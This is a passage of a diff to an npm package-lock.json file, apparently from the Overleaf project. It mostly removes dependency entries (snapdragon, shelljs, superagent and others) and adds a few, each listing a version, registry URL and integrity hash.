+- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+- "dev": true,
+- "requires": {
+- "p-limit": "^2.0.0"
+- }
+- },
+- "path-exists": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+- "dev": true
+- },
+- "string-width": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+- "dev": true,
+- "requires": {
+- "emoji-regex": "^7.0.1",
+- "is-fullwidth-code-point": "^2.0.0",
+- "strip-ansi": "^5.1.0"
+- }
+- },
+- "strip-ansi": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+- "dev": true,
+- "requires": {
+- "ansi-regex": "^4.1.0"
+- }
+- },
+- "universalify": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+- "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==",
+- "dev": true
+- },
+- "wrap-ansi": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+- "dev": true,
+- "requires": {
+- "ansi-styles": "^3.2.0",
+- "string-width": "^3.0.0",
+- "strip-ansi": "^5.0.0"
+- }
+- },
+- "y18n": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
+- "dev": true
+- },
+- "yargs": {
+- "version": "13.3.2",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
+- "dev": true,
+- "requires": {
+- "cliui": "^5.0.0",
+- "find-up": "^3.0.0",
+- "get-caller-file": "^2.0.1",
+- "require-directory": "^2.1.1",
+- "require-main-filename": "^2.0.0",
+- "set-blocking": "^2.0.0",
+- "string-width": "^3.0.0",
+- "which-module": "^2.0.0",
+- "y18n": "^4.0.0",
+- "yargs-parser": "^13.1.2"
+- }
+- },
+- "yargs-parser": {
+- "version": "13.1.2",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
+- "dev": true,
+- "requires": {
+- "camelcase": "^5.0.0",
+- "decamelize": "^1.2.0"
+- }
+- }
+- }
+- },
+- "sequelize-pool": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/sequelize-pool/-/sequelize-pool-2.3.0.tgz",
+- "integrity": "sha512-Ibz08vnXvkZ8LJTiUOxRcj1Ckdn7qafNZ2t59jYHMX1VIebTAOYefWdRYFt6z6+hy52WGthAHAoLc9hvk3onqA=="
+- },
+ "serialize-javascript": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
+@@ -62780,17 +50609,6 @@
+ "to-object-path": "^0.3.0"
+ }
+ },
+- "set-value": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+- "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
+- "requires": {
+- "extend-shallow": "^2.0.1",
+- "is-extendable": "^0.1.1",
+- "is-plain-object": "^2.0.3",
+- "split-string": "^3.0.1"
+- }
+- },
+ "setimmediate": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
+@@ -62825,43 +50643,11 @@
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "devOptional": true
+ },
+- "shelljs": {
+- "version": "0.8.5",
+- "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.8.5.tgz",
+- "integrity": "sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==",
+- "requires": {
+- "glob": "^7.0.0",
+- "interpret": "^1.0.0",
+- "rechoir": "^0.6.2"
+- },
+- "dependencies": {
+- "interpret": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz",
+- "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA=="
+- }
+- }
+- },
+ "shimmer": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz",
+ "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw=="
+ },
+- "shortid": {
+- "version": "2.2.14",
+- "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.14.tgz",
+- "integrity": "sha512-4UnZgr9gDdA1kaKj/38IiudfC3KHKhDc1zi/HSxd9FQDR0VLwH3/y79tZJLsVYPsJgIjeHjqIWaWVRJUj9qZOQ==",
+- "requires": {
+- "nanoid": "^2.0.0"
+- },
+- "dependencies": {
+- "nanoid": {
+- "version": "2.1.11",
+- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz",
+- "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA=="
+- }
+- }
+- },
+ "side-channel": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
+@@ -62877,12 +50663,6 @@
+ "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz",
+ "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA=="
+ },
+- "sigmund": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz",
+- "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=",
+- "dev": true
+- },
+ "signal-exit": {
+ "version": "3.0.6",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz",
+@@ -62894,23 +50674,6 @@
+ "integrity": "sha1-Krt1qt453rXMgVzhDmGRFkhQuvA=",
+ "dev": true
+ },
+- "simple-oauth2": {
+- "version": "0.6.0",
+- "resolved": "https://registry.npmjs.org/simple-oauth2/-/simple-oauth2-0.6.0.tgz",
+- "integrity": "sha1-lQ/dsHJURrymK9oMauslEUAx8RU=",
+- "requires": {
+- "bluebird": "^2.10.1",
+- "date-utils": "^1.2.12",
+- "request": "^2.67.0"
+- },
+- "dependencies": {
+- "bluebird": {
+- "version": "2.11.0",
+- "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.11.0.tgz",
+- "integrity": "sha1-U0uQM8AiyVecVro7Plpcqvu2UOE="
+- }
+- }
+- },
+ "simple-update-notifier": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-1.0.7.tgz",
+@@ -62966,12 +50729,6 @@
+ "dev": true,
+ "requires": {}
+ },
+- "sinon-stub-promise": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/sinon-stub-promise/-/sinon-stub-promise-4.0.0.tgz",
+- "integrity": "sha1-bUmLoRmFV80B40Zq+S3H33JRksI=",
+- "dev": true
+- },
+ "slash": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz",
+@@ -63014,133 +50771,6 @@
+ "resolved": "https://registry.npmjs.org/snakeize/-/snakeize-0.1.0.tgz",
+ "integrity": "sha1-EMCI2LWOsHazIpu1oE4jLOEmQi0="
+ },
+- "snapdragon": {
+- "version": "0.8.2",
+- "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
+- "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
+- "requires": {
+- "base": "^0.11.1",
+- "debug": "^2.2.0",
+- "define-property": "^0.2.5",
+- "extend-shallow": "^2.0.1",
+- "map-cache": "^0.2.2",
+- "source-map": "^0.5.6",
+- "source-map-resolve": "^0.5.0",
+- "use": "^3.1.0"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "requires": {
+- "is-descriptor": "^0.1.0"
+- }
+- },
+- "is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "requires": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- }
+- },
+- "kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+- "snapdragon-node": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
+- "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
+- "requires": {
+- "define-property": "^1.0.0",
+- "isobject": "^3.0.0",
+- "snapdragon-util": "^3.0.1"
+- },
+- "dependencies": {
+- "define-property": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
+- "requires": {
+- "is-descriptor": "^1.0.0"
+- }
+- }
+- }
+- },
+- "snapdragon-util": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
+- "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
+- "requires": {
+- "kind-of": "^3.2.0"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+ "socket.io": {
+ "version": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb",
+ "from": "socket.io@overleaf/socket.io#0.9.19-overleaf-6",
+@@ -63283,18 +50913,6 @@
+ "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+ "dev": true
+ },
+- "source-map-resolve": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+- "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+- "requires": {
+- "atob": "^2.1.2",
+- "decode-uri-component": "^0.2.0",
+- "resolve-url": "^0.2.1",
+- "source-map-url": "^0.4.0",
+- "urix": "^0.1.0"
+- }
+- },
+ "source-map-support": {
+ "version": "0.5.21",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+@@ -63311,16 +50929,6 @@
+ }
+ }
+ },
+- "source-map-url": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
+- "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw=="
+- },
+- "spark-md5": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
+- "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw=="
+- },
+ "sparse-bitfield": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz",
+@@ -63404,42 +51012,11 @@
+ "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz",
+ "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY="
+ },
+- "split-string": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
+- "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
+- "requires": {
+- "extend-shallow": "^3.0.0"
+- },
+- "dependencies": {
+- "extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "requires": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- }
+- },
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- }
+- }
+- },
+- "split2": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/split2/-/split2-4.1.0.tgz",
+- "integrity": "sha512-VBiJxFkxiXRlUIeyMQi8s4hgvKCSjtknJv/LVYbrgALPwf5zSKmEwV9Lst25AkvMDnvxODugjdl6KZgwKM1WYQ=="
+- },
+ "sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+- "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw="
++ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=",
++ "dev": true
+ },
+ "sprintf-kit": {
+ "version": "2.0.1",
+@@ -63523,76 +51100,6 @@
+ "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz",
+ "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="
+ },
+- "static-extend": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
+- "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
+- "requires": {
+- "define-property": "^0.2.5",
+- "object-copy": "^0.1.0"
+- },
+- "dependencies": {
+- "define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "requires": {
+- "is-descriptor": "^0.1.0"
+- }
+- },
+- "is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "requires": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- }
+- },
+- "kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+- }
+- }
+- },
+ "statuses": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+@@ -63603,11 +51110,6 @@
+ "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz",
+ "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks="
+ },
+- "stream-buffers": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz",
+- "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ=="
+- },
+ "stream-connect": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/stream-connect/-/stream-connect-1.0.2.tgz",
+@@ -63628,11 +51130,6 @@
+ }
+ }
+ },
+- "stream-counter": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/stream-counter/-/stream-counter-1.0.0.tgz",
+- "integrity": "sha1-kc8lac5NxQYf6816yyY5SloRR1E="
+- },
+ "stream-events": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz",
+@@ -63646,14 +51143,6 @@
+ "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
+ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ=="
+ },
+- "stream-transform": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/stream-transform/-/stream-transform-2.1.3.tgz",
+- "integrity": "sha512-9GHUiM5hMiCi6Y03jD2ARC1ettBXkQBoQAe7nJsPknnI0ow10aXjTnew8QtYQmLjzn974BnmWEAJgCY6ZP1DeQ==",
+- "requires": {
+- "mixme": "^0.5.1"
+- }
+- },
+ "stream-via": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/stream-via/-/stream-via-1.0.4.tgz",
+@@ -63681,6 +51170,12 @@
+ "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz",
+ "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo="
+ },
++ "strict-event-emitter-types": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/strict-event-emitter-types/-/strict-event-emitter-types-2.0.0.tgz",
++ "integrity": "sha512-Nk/brWYpD85WlOgzw5h173aci0Teyv8YdIAEtV+N88nDB0dLlazZyJMIsN6eo1/AR61l+p6CJTG1JIyFaoNEEA==",
++ "dev": true
++ },
+ "string_decoder": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+@@ -63696,44 +51191,6 @@
+ }
+ }
+ },
+- "string-to-stream": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string-to-stream/-/string-to-stream-1.1.1.tgz",
+- "integrity": "sha512-QySF2+3Rwq0SdO3s7BAp4x+c3qsClpPQ6abAmb0DGViiSBAkT5kL6JT2iyzEVP+T1SmzHrQD1TwlP9QAHCc+Sw==",
+- "requires": {
+- "inherits": "^2.0.1",
+- "readable-stream": "^2.1.0"
+- },
+- "dependencies": {
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "requires": {
+- "safe-buffer": "~5.1.0"
+- }
+- }
+- }
+- },
+ "string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+@@ -63820,75 +51277,6 @@
+ "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.0.0.tgz",
+ "integrity": "sha512-OPhtyEjyyN9x3nhPsu76f52yUGXiZcgvsrFVtvTkyGRQJ0XK+GPc6ov1z+lRpbeabka+MYEQxOYRnt5nF30aMw=="
+ },
+- "superagent": {
+- "version": "3.8.3",
+- "resolved": "https://registry.npmjs.org/superagent/-/superagent-3.8.3.tgz",
+- "integrity": "sha512-GLQtLMCoEIK4eDv6OGtkOoSMt3D+oq0y3dsxMuYuDvaNUvuT8eFBuLmfR0iYYzHC1e8hpzC6ZsxbuP6DIalMFA==",
+- "requires": {
+- "component-emitter": "^1.2.0",
+- "cookiejar": "^2.1.0",
+- "debug": "^3.1.0",
+- "extend": "^3.0.0",
+- "form-data": "^2.3.1",
+- "formidable": "^1.2.0",
+- "methods": "^1.1.1",
+- "mime": "^1.4.1",
+- "qs": "^6.5.1",
+- "readable-stream": "^2.3.5"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "requires": {
+- "ms": "^2.1.1"
+- }
+- },
+- "form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "requires": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- }
+- },
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+- },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "requires": {
+- "safe-buffer": "~5.1.0"
+- }
+- }
+- }
+- },
